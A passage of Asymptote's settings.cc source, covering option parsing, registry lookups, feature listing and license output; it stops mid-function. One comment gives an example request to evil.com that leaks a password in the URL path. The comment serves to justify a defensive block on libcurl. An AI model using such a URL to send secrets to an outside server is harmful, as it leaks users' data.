/***** * settings.cc * Andy Hammerlindl 2004/05/10 * * Declares a list of global variables that act as settings in the system. *****/ #include #include #include #include #include #include #include #include #include #include #if defined(_WIN32) #include #include #define isatty _isatty #else #include #ifdef __APPLE__ #include #endif #endif #include "common.h" #include "rendererloader.h" #ifdef HAVE_RENDERER #include "renderBase.h" #endif #include "util.h" #include "settings.h" #include "interact.h" #include "locate.h" #include "lexical.h" #include "record.h" #include "env.h" #include "item.h" #include "refaccess.h" #include "pipestream.h" #include "array.h" #ifdef HAVE_LIBCURSES extern "C" { #ifdef HAVE_NCURSES_CURSES_H #define USE_SETUPTERM #include #include #elif HAVE_NCURSESW_CURSES_H #define USE_SETUPTERM #include #include #elif HAVE_NCURSES_H #define USE_SETUPTERM #include #include #elif HAVE_CURSES_H #include #if defined(HAVE_TERM_H) #define USE_SETUPTERM #include #endif #endif } #endif // Workaround broken curses.h files: #ifdef clear #undef clear #endif // Workaround broken header file on i386-solaris with g++ 3.4.3. #ifdef erase #undef erase #endif using vm::item; using trans::itemRefAccess; using trans::refAccess; using trans::varEntry; using vm::array; void runFile(const string& filename); namespace settings { using camp::pair; #ifdef HAVE_LIBGLM const bool havegl=true; #else const bool havegl=false; #endif #if !defined(_WIN32) mode_t mask; #endif // Flag set by --version option to exit after all options are parsed static bool showVersion=false; // Use the compiled-in sysdir if it exists on disk; otherwise fall back to a // path relative to the running executable so that a staged installation works // when moved to a different location. static string initSysdir() { #if defined(__APPLE__) && defined(IS_RELOCATABLE) char buf[4096]; uint32_t size = (uint32_t)sizeof(buf); if (_NSGetExecutablePath(buf, &size) != 0) return ""; string exe(buf); // Strip the executable filename to get the bin directory. size_t slash = exe.rfind('/'); if (slash == string::npos) return ""; // Strip the bin directory to get the installation prefix. size_t slash2 = exe.substr(0, slash).rfind('/'); if (slash2 == string::npos) return ""; return exe.substr(0, slash2) + "/share/asymptote"; #endif return ASYMPTOTE_SYSDIR; } string systemDir=initSysdir(); string defaultPSdriver="ps2write"; string defaultEPSdriver="eps2write"; string defaultPNGdriver="png16malpha"; // pngalpha has issues at high resolutions string defaultAsyGL="https://vectorgraphics.github.io/asymptote/base/webgl/asygl-"+ string(AsyGLVersion)+".js"; #if !defined(_WIN32) bool msdos=false; string HOME="HOME"; string docdir=ASYMPTOTE_DOCDIR; const char pathSeparator=':'; #ifdef __APPLE__ string defaultPSViewer="open"; string defaultPDFViewer="open"; string defaultHTMLViewer="open"; #else string defaultPSViewer="evince"; string defaultPDFViewer="evince"; string defaultHTMLViewer="google-chrome"; #endif string defaultGhostscript="gs"; string defaultGhostscriptLibrary=""; string defaultDisplay="display"; string defaultAnimate="magick"; void queryRegistry() {} const string dirsep="/"; #else bool msdos=true; string HOME="USERPROFILE"; string docdir="c:\\Program Files\\Asymptote"; const char pathSeparator=';'; string defaultPSViewer; //string defaultPDFViewer="AcroRd32.exe"; string defaultPDFViewer; string defaultHTMLViewer; string defaultGhostscript; string defaultGhostscriptLibrary; string defaultDisplay; //string defaultAnimate="magick"; string defaultAnimate=""; const string dirsep="\\"; /** * Use key to look up an entry in the MSWindows registry, * @param baseRegLocation base location for a key * @param key Key to look up, respecting wild cards. Note that wildcards * only support single-level glob. Recursive globs are not supported. * @param value Value to look up * @remark Wildcards can only be in keys, not in the final value * @return Entry value, or nullopt if not found */ optional getEntry(HKEY const& baseRegLocation, string const& key, string const& value) { string path= key; if (key.find('\\') == 0) { path= path.substr(1);// strip the prefix separator } size_t const star= path.find('*'); if (star == string::npos) { // absolute path, can return right away DWORD dataSize= 0; if (RegGetValueA( baseRegLocation, path.c_str(), value.c_str(), RRF_RT_REG_SZ, nullptr, nullptr, &dataSize ) != ERROR_SUCCESS) { return nullopt; } mem::vector outputBuffer(dataSize); if (RegGetValueA( baseRegLocation, path.c_str(), value.c_str(), RRF_RT_REG_SZ, nullptr, outputBuffer.data(), &dataSize ) != ERROR_SUCCESS) { return nullopt; } return make_optional( reinterpret_cast(outputBuffer.data()) ); } // has a glob, search until we find one string const prefix= path.substr(0, star); string const pathSuffix= path.substr(star + 1); // open the key in prefix camp::w32::RegKeyWrapper directoryWithPrefix; if (RegOpenKeyExA( baseRegLocation, prefix.c_str(), 0, KEY_READ, directoryWithPrefix.put() ) != ERROR_SUCCESS) { return nullopt;// prefix path does not exist, or some other error } DWORD numSubKeys= 0; DWORD longestSubkeySize= 0; // querying # of subkeys + their longest path length if (RegQueryInfoKeyA( directoryWithPrefix.getKey(), nullptr, nullptr, nullptr, &numSubKeys, &longestSubkeySize, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr ) != ERROR_SUCCESS) { return nullopt; } mem::vector subkeyBuffer(longestSubkeySize + 1); for (DWORD i= 0; i < numSubKeys; ++i) { DWORD cchValue= longestSubkeySize + 1; // get subkey's name if (RegEnumKeyExA( directoryWithPrefix.getKey(), i, subkeyBuffer.data(), &cchValue, nullptr, nullptr, nullptr, nullptr ) != ERROR_SUCCESS) { continue; } // open the subkey camp::w32::RegKeyWrapper searchKey; if (RegOpenKeyExA( directoryWithPrefix.getKey(), subkeyBuffer.data(), 0, KEY_READ, searchKey.put() ) != ERROR_SUCCESS) { continue; } // do a recursive search starting at the opened key if (auto retResult= getEntry(searchKey.getKey(), pathSuffix, value); retResult.has_value()) { return retResult; } } return nullopt; } // Use key to look up an entry in the MSWindows registry, respecting wild cards string getEntry(const string& key, const string& value) { for (HKEY const keyToSearch : {HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER}) { camp::w32::RegKeyWrapper baseRegKey; if (RegOpenKeyExA(keyToSearch, "SOFTWARE", 0, KEY_READ, baseRegKey.put()) != ERROR_SUCCESS) { baseRegKey.release(); continue; } optional entry= getEntry(baseRegKey.getKey(), key, value); if (entry.has_value()) { return entry.value(); } } return ""; } void queryRegistry() { defaultGhostscriptLibrary= getEntry(R"(GPL Ghostscript\*)", "GS_DLL"); if (defaultGhostscriptLibrary.empty()) defaultGhostscriptLibrary= getEntry(R"(AFPL Ghostscript\*)", "GS_DLL"); string gslib= stripDir(defaultGhostscriptLibrary); defaultGhostscript= stripFile(defaultGhostscriptLibrary) + ((gslib.empty() || gslib.substr(5, 2) == "32") ? "gswin32c.exe" : "gswin64c.exe"); string const s= getEntry( R"(Microsoft\Windows\CurrentVersion\App Paths\Asymptote)", "Path" ); if (!s.empty()) { docdir= s; } // An empty systemDir indicates a TeXLive build if (!systemDir.empty() && !docdir.empty()) systemDir= docdir; } #endif // The name of the program (as called). Used when displaying help info. char *argv0; Int verbose; bool debug; bool xasy; bool keys; bool quiet=false; // Conserve memory at the expense of speed. bool compact; // Colorspace conversion flags (stored in global variables for efficiency). bool gray; bool bw; bool rgb; bool cmyk; // Disable system calls. bool safe=true; // Enable reading from other directories bool globalRead=true; // Enable writing to (or changing to) other directories bool globalWrite=false; // Flag set when input() reads any file bool haveReadFile=false; // Set true only if -curlAfterRead was explicitly given on the command line bool curlOverride=false; bool globalwrite() {return globalWrite || !safe;} bool globalread() {return globalRead || !safe;} #ifdef HAVE_LIBCURL // Blocking libcurl prevents DNS/log leakage: even a failed URL request // (e.g., input("https://evil.com/root-password-is-123")) exposes the URL // path and the user's IP address in the remote server's logs. bool curlEnabled() {return curlOverride || !haveReadFile;} #else bool curlEnabled() {return false;} #endif const string suffix="asy"; const string guisuffix="gui"; const string standardprefix="out"; string initdir; string historyname; // Local versions of the argument list. int argCount = 0; char **argList = 0; typedef ::option c_option; types::dummyRecord *settingsModule; types::record *getSettingsModule() { return settingsModule; } void noWarn(const string& s) { array *Warn=getSetting("suppress"); size_t size=checkArray(Warn); if(s.empty()) return; for(size_t i=0; i < size; i++) if(vm::read(Warn,i) == s) return; Warn->push(s); } void Warn(const string& s) { array *Warn=getSetting("suppress"); size_t size=checkArray(Warn); for(size_t i=0; i < size; i++) if(vm::read(Warn,i) == s) (*Warn).erase((*Warn).begin()+i,(*Warn).begin()+i+1); } bool warn(const string& s) { if(debug) return true; array *Warn=getSetting("suppress"); size_t size=checkArray(Warn); for(size_t i=0; i < size; i++) if(vm::read(Warn,i) == s) return false; return true; } // The dictionaries of long options and short options. struct option; typedef mem::map optionsMap_t; optionsMap_t optionsMap; typedef mem::map codeMap_t; codeMap_t codeMap; struct option : public gc { string name; char code; // Command line option, i.e. 'V' for -V. bool argument; // If it takes an argument on the command line. This is set // based on whether argname is empty. string argname; // The argument name for printing the description. string desc; // One line description of what the option does. bool cmdlineonly; // If it is only available on the command line. string Default; // A string containing an optional default value. option(string name, char code, string argname, string desc, bool cmdlineonly=false, string Default="") : name(name), code(code), argument(!argname.empty()), argname(argname), desc(desc), cmdlineonly(cmdlineonly), Default(Default) {} virtual ~option() {} // Builds this option's contribution to the optstring argument of get_opt(). virtual string optstring() { if (code) { string base; base.push_back(code); if(argument) base.push_back(':'); return base; } else return ""; } // Sets the contribution to the longopt array. virtual void longopt(c_option &o) { o.name=name.c_str(); o.has_arg=argument ? 1 : 0; o.flag=0; o.val=0; } // Add to the dictionaries of options. virtual void add() { optionsMap[name]=this; if (code) codeMap[code]=this; } // Set the option from the command-line argument. Return true if the option // was correctly parsed. virtual bool getOption() = 0; void error(string msg) { cerr << endl << argv0 << ": "; if (code) cerr << "-" << code << " "; cerr << "(-" << name << ") " << msg << endl; } // The "-f,-outformat format" part of the option. virtual string describeStart() { ostringstream ss; if (code) ss << "-" << code << ","; ss << "-" << name; if (argument) ss << " " << argname; return ss.str(); } // Outputs description of the command for the -help option. virtual void describe(char option) { // Don't show the option if it has no description. if(!hide() && ((option == 'h') ^ env())) { const unsigned WIDTH=22; string start=describeStart(); cerr << std::left << std::setw(WIDTH) << start; if (start.size() >= WIDTH) { cerr << endl; cerr << std::left << std::setw(WIDTH) << ""; } cerr << " " << desc; if(cmdlineonly) cerr << "; command-line only"; if(Default != "") { if(!desc.empty()) cerr << " "; cerr << Default; } cerr << endl; } } virtual void reset() { } virtual bool env() {return false;} virtual bool hide() {return false;} }; const string noarg; struct setting : public option { types::ty *t; private: trans::permission perm; bool added; // Flag the setting as secure, so that it can only be set on the command-line, // though it can still be read in Asymptote code. void secure() { assert(!added); perm = trans::RESTRICTED; } public: setting(string name, char code, string argname, string desc, types::ty *t, string Default) : option(name, code, argname, desc, false,Default), t(t), perm(trans::PUBLIC), added(false) {} void reset() = 0; virtual trans::access *buildAccess() = 0; // Add to the dictionaries of options and to the settings module. virtual void add() { assert(!added); option::add(); settingsModule->add(name, t, buildAccess(), perm); added=true; } friend void addSecureSetting(setting *s) { s->secure(); s->add(); } }; struct itemSetting : public setting { item defaultValue; item value; itemSetting(string name, char code, string argname, string desc, types::ty *t, item defaultValue, string Default="") : setting(name, code, argname, desc, t, Default), defaultValue(defaultValue) {reset();} void reset() { value=defaultValue; } trans::access *buildAccess() { return new itemRefAccess(&(value)); } }; item& Setting(string name) { itemSetting *s=dynamic_cast(optionsMap[name]); if(!s) { cerr << "Cannot find setting named '" << name << "'" << endl; exit(-1); } return s->value; } struct boolSetting : public itemSetting { boolSetting(string name, char code, string desc, bool defaultValue=false) : itemSetting(name, code, noarg, desc, types::primBoolean(), (item)defaultValue, defaultValue ? "[true]" : "[false]") {} bool getOption() { value=(item)true; return true; } option *negation(string name) { struct negOption : public option { boolSetting &base; bool hide() {return true;} negOption(boolSetting &base, string name) : option(name, 0, noarg, ""), base(base) {} bool getOption() { base.value=(item)false; return true; } }; return new negOption(*this, name); } void add() { setting::add(); negation("no"+name)->add(); if (code) { string nocode="no"; nocode.push_back(code); negation(nocode)->add(); } } // Set several related boolean options at once. Used for view and trap which // have batch and interactive settings. struct multiOption : public option { typedef mem::list setlist; setlist set; multiOption(string name, char code, string desc) : option(name, code, noarg, desc, true) {} void add(boolSetting *s) { set.push_back(s); } void setValue(bool value) { for (setlist::iterator s=set.begin(); s!=set.end(); ++s) (*s)->value=(item)value; } bool getOption() { setValue(true); return true; } option *negation(string name) { struct negOption : public option { multiOption &base; bool hide() {return true;} negOption(multiOption &base, string name) : option(name, 0, noarg, ""), base(base) {} bool getOption() { base.setValue(false); return true; } }; return new negOption(*this, name); } void add() { option::add(); negation("no"+name)->add(); if (code) { string nocode="no"; nocode.push_back(code); negation(nocode)->add(); } for (multiOption::setlist::iterator s=set.begin(); s!=set.end(); ++s) (*s)->add(); } }; }; typedef boolSetting::multiOption multiOption; struct argumentSetting : public itemSetting { argumentSetting(string name, char code, string argname, string desc, types::ty *t, item defaultValue) : itemSetting(name, code, argname, desc, t, defaultValue) { assert(!argname.empty()); } }; struct stringSetting : public argumentSetting { stringSetting(string name, char code, string argname, string desc, string defaultValue="") : argumentSetting(name, code, argname, desc == "" ? "["+defaultValue+"]" : desc+(defaultValue.empty() ? "" : " ["+defaultValue+"]"), types::primString(), (item)defaultValue) {} bool getOption() { value=(item)(string)optarg; return true; } }; struct userSetting : public argumentSetting { userSetting(string name, char code, string argname, string desc, string defaultValue="") : argumentSetting(name, code, argname, desc, types::primString(), (item)defaultValue) {} bool getOption() { string s=vm::get(value)+string(optarg); s.push_back(';'); value=(item) s; return true; } }; struct warnSetting : public option { warnSetting(string name, char code, string argname, string desc) : option(name, code, argname, desc, true) {} bool getOption() { Warn(string(optarg)); return true; } option *negation(string name) { struct negOption : public option { warnSetting &base; bool hide() {return true;} negOption(warnSetting &base, string name, string argname) : option(name, 0, argname, ""), base(base) {} bool getOption() { noWarn(string(optarg)); return true; } }; return new negOption(*this, name, argname); } void add() { option::add(); negation("no"+name)->add(); if (code) { string nocode="no"; nocode.push_back(code); negation(nocode)->add(); } } }; string GetEnv(string s, string Default) { transform(s.begin(), s.end(), s.begin(), toupper); string t=Getenv(("ASYMPTOTE_"+s).c_str(),msdos); return t.empty() ? Default : t; } struct envSetting : public stringSetting { envSetting(string name, string Default) : stringSetting(name, 0, " ", "", GetEnv(name,Default)) {} bool env() {return true;} }; template struct dataSetting : public argumentSetting { string text; dataSetting(const char *text, string name, char code, string argname, string desc, types::ty *type, T defaultValue) : argumentSetting(name, code, argname, desc, type, (item)defaultValue), text(text) {} bool getOption() { try { value=(item)lexical::cast(optarg); } catch (lexical::bad_cast&) { error("option requires " + text + " as an argument"); return false; } return true; } }; template string description(string desc, T defaultValue) { return desc.empty() ? "" : desc+" ["+String(defaultValue)+"]"; } struct IntSetting : public dataSetting { IntSetting(string name, char code, string argname, string desc, Int defaultValue=0) : dataSetting("an int", name, code, argname, description(desc,defaultValue), types::primInt(), defaultValue) {} }; struct realSetting : public dataSetting { realSetting(string name, char code, string argname, string desc, double defaultValue=0.0) : dataSetting("a real", name, code, argname, description(desc,defaultValue), types::primReal(), defaultValue) {} }; struct pairSetting : public dataSetting { pairSetting(string name, char code, string argname, string desc, pair defaultValue=0.0) : dataSetting("a pair", name, code, argname, description(desc,defaultValue), types::primPair(), defaultValue) {} }; // For setting the alignment of a figure on the page. struct alignSetting : public argumentSetting { alignSetting(string name, char code, string argname, string desc, string defaultValue) : argumentSetting(name, code, argname, description(desc,defaultValue), types::primString(), (item)defaultValue) {} bool getOption() { string str=optarg; if(str == "C" || str == "T" || str == "B" || str == "Z") { value=str; return true; } error("invalid argument for option"); return false; } }; struct stringArraySetting : public itemSetting { stringArraySetting(string name, array *defaultValue) : itemSetting(name, 0, "", "", types::stringArray(), (item) defaultValue) {} bool hide() {return true;} bool getOption() {return true;} }; struct engineSetting : public argumentSetting { engineSetting(string name, char code, string argname, string desc, string defaultValue) : argumentSetting(name, code, argname, description(desc,defaultValue), types::primString(), (item)defaultValue) {} bool getOption() { string str=optarg; if(str == "latex" || str == "pdflatex" || str == "xelatex" || str == "tex" || str == "pdftex" || str == "luatex" || str == "lualatex" || str == "context" || str == "none") { value=str; return true; } error("invalid argument for option"); return false; } }; template string stringCast(T x) { ostringstream buf; buf.precision(DBL_DIG); buf.setf(std::ios::boolalpha); buf << x; return string(buf.str()); } template struct refSetting : public setting { T *ref; T defaultValue; string text; refSetting(string name, char code, string argname, string desc, types::ty *t, T *ref, T defaultValue, const char *text="") : setting(name, code, argname, desc, t, stringCast(defaultValue)), ref(ref), defaultValue(defaultValue), text(text) { reset(); } virtual bool getOption() { try { *ref=lexical::cast(optarg); } catch (lexical::bad_cast&) { error("option requires " + text + " as an argument"); return false; } return true; } virtual void reset() { *ref=defaultValue; } trans::access *buildAccess() { return new refAccess(ref); } }; struct boolrefSetting : public refSetting { boolrefSetting(string name, char code, string desc, bool *ref, bool Default=false) : refSetting(name, code, noarg, desc, types::primBoolean(), ref, Default) {} virtual bool getOption() { *ref=true; return true; } virtual option *negation(string name) { struct negOption : public option { boolrefSetting &base; bool hide() {return true;} negOption(boolrefSetting &base, string name) : option(name, 0, noarg, ""), base(base) {} bool getOption() { *(base.ref)=false; return true; } }; return new negOption(*this, name); } void add() { setting::add(); negation("no"+name)->add(); if (code) { string nocode="no"; nocode.push_back(code); negation(nocode)->add(); } } }; struct compactSetting : public boolrefSetting { compactSetting(string name, char code, string desc, bool *ref, bool Default=false) : boolrefSetting(name,code,desc,ref,Default) {} bool getOption() { mem::compact(1); return boolrefSetting::getOption(); } option *negation(string name) { mem::compact(0); return boolrefSetting::negation(name); } }; struct incrementSetting : public refSetting { incrementSetting(string name, char code, string desc, Int *ref) : refSetting(name, code, noarg, desc, types::primInt(), ref, 0) {} bool getOption() { // Increment the value. ++(*ref); return true; } option *negation(string name) { struct negOption : public option { incrementSetting &base; bool hide() {return true;} negOption(incrementSetting &base, string name) : option(name, 0, noarg, ""), base(base) {} bool getOption() { if(*base.ref) --(*base.ref); return true; } }; return new negOption(*this, name); } void add() { setting::add(); negation("no"+name)->add(); if (code) { string nocode="no"; nocode.push_back(code); negation(nocode)->add(); } } }; struct incrementOption : public option { Int *ref; Int level; incrementOption(string name, char code, string desc, Int *ref, Int level=1) : option(name, code, noarg, desc, true), ref(ref), level(level) {} bool hide() {return true;} bool getOption() { // Increment the value. (*ref) += level; return true; } }; void addOption(option *o) { o->add(); } void version() { cerr << PACKAGE_NAME << " version " << REVISION << " [(C) 2004-2026 Andy Hammerlindl, John C. Bowman, Tom Prince]" << endl; } void usage(const char *program) { version(); cerr << "\t\t\t" << "https://asymptote.sourceforge.io/" << endl << "Usage: " << program << " [options] [file ...]" << endl; } void reportSyntax() { cerr << endl; usage(argv0); cerr << endl << "Type '" << argv0 << " -h' for a description of options." << endl; exit(1); } void displayOptions(char code) { cerr << endl; if(code == 'h') cerr << "Options (negate boolean options by replacing - with -no): " << endl << endl; else cerr << "Environment settings: " << endl << endl; for (optionsMap_t::iterator opt=optionsMap.begin(); opt!=optionsMap.end(); ++opt) opt->second->describe(code); } struct helpOption : public option { helpOption(string name, char code, string desc) : option(name, code, noarg, desc, true) {} bool getOption() { usage(argv0); displayOptions(code); cerr << endl; exit(0); // Unreachable code. return true; } }; struct versionOption : public option { versionOption(string name, char code, string desc) : option(name, code, noarg, desc, true) {} bool getOption() { showVersion = true; return true; } }; void displayFeatures(bool enabled) { #ifdef _WIN32 // On Windows, Vulkan availability is determined at compile time. // Runtime probing via GetProcAddress/tryLoadVulkan is unreliable // when asy.exe is distributed to different machines. #else static bool probed = false; if (!probed) { #ifdef HAVE_RENDERER // Actually construct the renderer so we can verify which backend // is truly available (not just whether the .so loads). We call // createRenderer() directly rather than initRenderer() to avoid // triggering a "No 3D rendering available" error when running // headless (e.g., --version on a system without GPU). camp::createRenderer(); #else #ifdef HAVE_VULKAN static bool vulkanAvailable = false; bool useVulkan = getSetting("vulkan"); vulkanAvailable = useVulkan && camp::tryLoadVulkan(); #endif #endif probed = true; } #endif cerr << endl << (enabled ? "EN" : "DIS") << "ABLED OPTIONS:" << endl; auto feature = [&](const char *s, bool cond) { if(cond == enabled) cerr << s << endl; }; bool glm=false; bool havevulkan=false; bool haveopengl=false; bool ssbo=false; bool gsl=false; bool fftw3=false; bool eigen=false; bool xdr=false; bool curl=false; bool lsp=false; bool readline=false; bool editline=false; bool sigsegv=false; bool usegc=false; bool usethreads=false; #if HAVE_LIBGLM glm=true; #endif #ifdef _WIN32 #ifdef HAVE_LIBVULKAN havevulkan = true; #endif #else #ifdef HAVE_RENDERER // The renderer was already constructed by createRenderer() above. // camp::gl != nullptr means a backend was successfully loaded; vulkan // indicates which one. if (camp::gl != nullptr) { if (vulkan) havevulkan = true; else haveopengl = true; } #else #ifdef HAVE_VULKAN if (vulkanAvailable) havevulkan = true; else { // Probe for OpenGL shared library at runtime. bool openglAvailable = camp::tryLoadOpenGL(); if (openglAvailable) haveopengl = true; } #endif #endif #endif #ifdef HAVE_SSBO if (haveopengl) ssbo=true; #endif #ifdef HAVE_LIBGSL gsl=true; #endif #ifdef HAVE_LIBFFTW3 fftw3=true; #endif #ifdef HAVE_EIGEN_DENSE eigen=true; #endif #ifdef HAVE_LIBTIRPC xdr=true; #endif #ifdef HAVE_LIBCURL curl=true; #endif #ifdef HAVE_LSP lsp=true; #endif #ifdef HAVE_LIBCURSES #ifdef HAVE_LIBREADLINE readline=true; #else #ifdef HAVE_LIBEDIT editline=true; #endif #endif #endif #ifdef HAVE_LIBSIGSEGV sigsegv=true; #endif #ifdef USEGC usegc=true; #endif #ifdef HAVE_PTHREAD usethreads=true; #endif feature("V3D 3D vector graphics output",glm && xdr); feature("WebGL 3D HTML rendering",glm); feature("OpenGL 3D OpenGL rendering",haveopengl); feature("Vulkan 3D Vulkan rendering",havevulkan); feature("SSBO OpenGL shader storage buffer objects",ssbo); feature("GSL GNU Scientific Library (special functions)",gsl); feature("FFTW3 Fast Fourier transforms",fftw3); feature("Eigen Eigenvalue library",eigen); feature("XDR External Data Representation (portable binary file format for V3D)",xdr); feature("CURL URL support",curl); feature("LSP Language Server Protocol",lsp); feature("Readline Interactive history and editing",readline); if(!readline) feature("Editline interactive editing (Readline is unavailable)",editline); feature("Sigsegv Distinguish stack overflows from segmentation faults", sigsegv); feature("GC Boehm garbage collector",usegc); feature("threads Render 3D scenes in a separate thread",usethreads); } // Short license summary printed by asy --licenses. static const char *const licensesSummary = "\n" #if defined(_WIN32) "Asymptote is free software under the GNU General Public\n" "License v3+ (see licenses/LICENSE).\n" #else "Asymptote is free software under the GNU Lesser General Public\n" "License v3+ (see licenses/LICENSE and licenses/LICENSE.LESSER).\n" #endif "\n" "Third-party components:\n" "\n" // URLs separated from \n to avoid confusing IDEs that support hyperlinking. " span.hpp Boost Software License 1.0\n" " Martin Moene -- https://github.com/martinmoene/span-lite" "\n" " wyhash The Unlicense (Public Domain)\n" " Wang Yi -- https://github.com/wangyi-fudan/wyhash" "\n" " Boehm GC Custom permissive license\n" " https://www.hboehm.info/gc/" "\n" " LspCpp MIT License\n" " https://github.com/kuafuwang/LspCpp" "\n" " libatomic_ops MIT (core) / GPL-2.0 (extensions)\n" " https://github.com/ivmai/libatomic_ops" "\n" " GLEW BSD 3-Clause License\n" " https://glew.sourceforge.net/" "\n" " TinyEXR BSD 3-Clause License\n" " Syoyo Fujita -- https://github.com/syoyo/tinyexr" "\n" "\n" "Use --licenses=full for complete copyright notices and license texts.\n" "Source: https://github.com/vectorgraphics/asymptote/\n"; // Resolve the directory containing the license files at runtime. // Search order: dirname(argv0)/doc/licenses/ (local/build-tree layout), // then the compile-time install path ASYMPTOTE_LICENSEDIR. static string resolveLicenseDir() { if (argv0) { string local = stripFile(string(argv0)) + "doc" + dirsep + "licenses"; string probe = local + dirsep + "LICENSE"; struct stat st; if (stat(probe.c_str(), &st) == 0) return local; } #ifdef ASYMPTOTE_LICENSEDIR return ASYMPTOTE_LICENSEDIR; #else return docdir + dirsep + "licenses"; #endif } // Print the contents of a file to out. Returns true on success. static bool printLicenseFile(const string& path, ostream& out) { std::ifstream f(path.c_str()); if (!f.is_open()) return false; out << f.rdbuf(); return true; } // Print the full license text, reading from license files at runtime. // Returns true if all files were found and printed, false otherwise. static bool printLicensesFull(ostream& out) { string ldir = resolveLicenseDir(); int missing = 0; auto requireFile = [&](const string& filename, const string& desc) -> bool { string path = ldir + dirsep + filename; if (!printLicenseFile(path, out)) { cerr << argv0 << ": license file not found: " << path << "\n"; cerr << " (" << desc << ")\n"; ++missing; return false; } return true; }; // Platform-conditional preamble #if defined(_WIN32) out << "\nAsymptote is free software under the GNU General Public License,\n" "version 3 or later. Source code: https://github.com/vectorgraphics/asymptote/\n" "\n" "[The source code and non-Windows binaries are available under the more\n" "permissive LGPL; see README.]\n" "\n" "The full text of the GNU General Public License (version 3) is reproduced below,\n" "followed by the copyright notices and license terms for all incorporated\n" "third-party components.\n"; #else out << "\nAsymptote is free software under the GNU Lesser General Public License,\n" "version 3 or later. Source code: https://github.com/vectorgraphics/asymptote/\n" "\n" "The full texts of the GNU Lesser General Public License (version 3) and the\n" "GNU General Public License (version 3) are reproduced below, followed by the\n" "copyright notices and license terms for all incorporated third-party components.\n" "\n" "========================================================================\n" "GNU LESSER GENERAL PUBLIC LICENSE, Version 3\n" "========================================================================\n"; requireFile("LICENSE.LESSER", "Asymptote -- GNU Lesser General Public License v3+"); #endif out << "\n" "========================================================================\n" "GNU GENERAL PUBLIC LICENSE, Version 3\n" "========================================================================\n"; requireFile("LICENSE", "Asymptote -- GNU General Public License v3+"); out << "\n" "========================================================================\n" "THIRD-PARTY COMPONENT LICENSES\n" "========================================================================\n" "\n" "This binary incorporates the following third-party components. The full\n" "copyright notices and license terms required for binary redistribution are\n" "reproduced below.\n"; out << "\n" "------------------------------------------------------------------------\n" "span.hpp -- Boost Software License 1.0\n" "Martin Moene \n" "------------------------------------------------------------------------\n"; requireFile("span-LICENSE.txt", "span.hpp -- Boost Software License 1.0 -- Martin Moene"); out << "\n" "------------------------------------------------------------------------\n" "wyhash -- The Unlicense (Public Domain)\n" "Wang Yi \n" "------------------------------------------------------------------------\n"; requireFile("wyhash-UNLICENSE.txt", "wyhash -- The Unlicense -- Wang Yi"); out << "\n" "------------------------------------------------------------------------\n" "Boehm-Demers-Weiser Garbage Collector -- Custom permissive license\n" "Hans-J. Boehm, Alan J. Demers, Xerox Corporation, Silicon Graphics,\n" "Hewlett-Packard Development Company, Ivan Maidanski, Fergus Henderson\n" "\n" "------------------------------------------------------------------------\n"; requireFile("gc-LICENSE.txt", "Boehm GC -- Custom permissive license -- https://www.hboehm.info/gc/"); out << "\n" "------------------------------------------------------------------------\n" "LspCpp -- MIT License\n" "kuafuwang \n" "------------------------------------------------------------------------\n"; requireFile("LspCpp-LICENSE.txt", "LspCpp -- MIT License -- https://github.com/kuafuwang/LspCpp"); out << "\n" "------------------------------------------------------------------------\n" "libatomic_ops -- MIT License (core) / GPL-2.0 (gpl extension library)\n" "Xerox Corporation, Silicon Graphics, Hewlett-Packard, Ivan Maidanski,\n" "and contributors \n" "------------------------------------------------------------------------\n"; requireFile("libatomic_ops-LICENSE.txt", "libatomic_ops -- MIT License (core) -- https://github.com/ivmai/libatomic_ops"); out << "\n" "------------------------------------------------------------------------\n" "(libatomic_ops GPL-2.0 extension library license)\n" "------------------------------------------------------------------------\n"; requireFile("libatomic_ops-COPYING.txt", "libatomic_ops -- GPL-2.0 (gpl extension) -- https://github.com/ivmai/libatomic_ops"); out << "\n" "------------------------------------------------------------------------\n" "GLEW -- BSD 3-Clause License\n" "Nigel Stewart, Milan Ikits, Marcelo E. Magallon, Lev Povalahev,\n" "Brian Paul, The Khronos Group \n" "------------------------------------------------------------------------\n"; requireFile("glew-LICENSE.txt", "GLEW -- BSD 3-Clause License -- https://glew.sourceforge.net/"); out << "\n" "------------------------------------------------------------------------\n" "TinyEXR -- BSD 3-Clause License\n" "Syoyo Fujita and contributors \n" "------------------------------------------------------------------------\n"; requireFile("tinyexr-LICENSE.txt", "TinyEXR -- BSD 3-Clause License -- https://github.com/syoyo/tinyexr"); return missing == 0; } struct licensesOption : public option { licensesOption(string name, char code, string desc) : option(name, code, noarg, desc, true) {} // Accept an optional "=full" argument (long option only). void longopt(c_option &o) override { o.name=name.c_str(); o.has_arg=optional_argument; o.flag=0; o.val=0; } bool getOption() override { version(); if (optarg && string(optarg) == "full") { bool success = printLicensesFull(cerr); exit(success ? 0 : 1); } else { cerr << licensesSummary; } exit(0); // Unreachable code. return true; } }; struct divisorOption : public option { divisorOption(string name, char code, string argname, string desc) : option(name, code, argname, desc) {} bool getOption() { try { #ifdef USEGC Int n=lexical::cast(optarg); if(n > 0) GC_set_free_space_divisor((GC_word) n); #endif } catch (lexical::bad_cast&) { error("option requires an int as an argument"); return false; } return true; } }; // For security reasons, these options aren't fields of the settings module. struct stringOption : public option { char **variable; stringOption(string name, char code, string argname, string desc, char **variable) : option(name, code, argname, desc, true), variable(variable) {} bool getOption() { *variable=optarg; return true; } }; string build_optstring() { string s; for (codeMap_t::iterator p=codeMap.begin(); p !=codeMap.end(); ++p) s +=p->second->optstring(); return s; } c_option *build_longopts() { size_t n=optionsMap.size(); c_option *longopts=new(UseGC) c_option[n+1]; Int i=0; for (optionsMap_t::iterator p=optionsMap.begin(); p !=optionsMap.end(); ++p, ++i) p->second->longopt(longopts[i]); longopts[n].name=NULL; longopts[n].has_arg=0; longopts[n].flag=NULL; longopts[n].val=0; return longopts; } void resetOptions() { for(optionsMap_t::iterator opt=optionsMap.begin(); opt != optionsMap.end(); ++opt) if(opt->first != "config" && opt->first != "dir" && opt->first != "sysdir") opt->second->reset(); } void getOptions(int argc, char *argv[]) { bool syntax=false; optind=0; string optstring=build_optstring(); //cerr << "optstring: " << optstring << endl; c_option *longopts=build_longopts(); int long_index = 0; errno=0; for(;;) { int c = getopt_long_only(argc,argv, optstring.c_str(), longopts, &long_index); if (c == -1) break; if (c == 0) { const char *name=longopts[long_index].name; //cerr << "long option: " << name << endl; if (!optionsMap[name]->getOption()) syntax=true; } else if (codeMap.find((char)c) != codeMap.end()) { //cerr << "char option: " << (char)c << endl; if (!codeMap[(char)c]->getOption()) 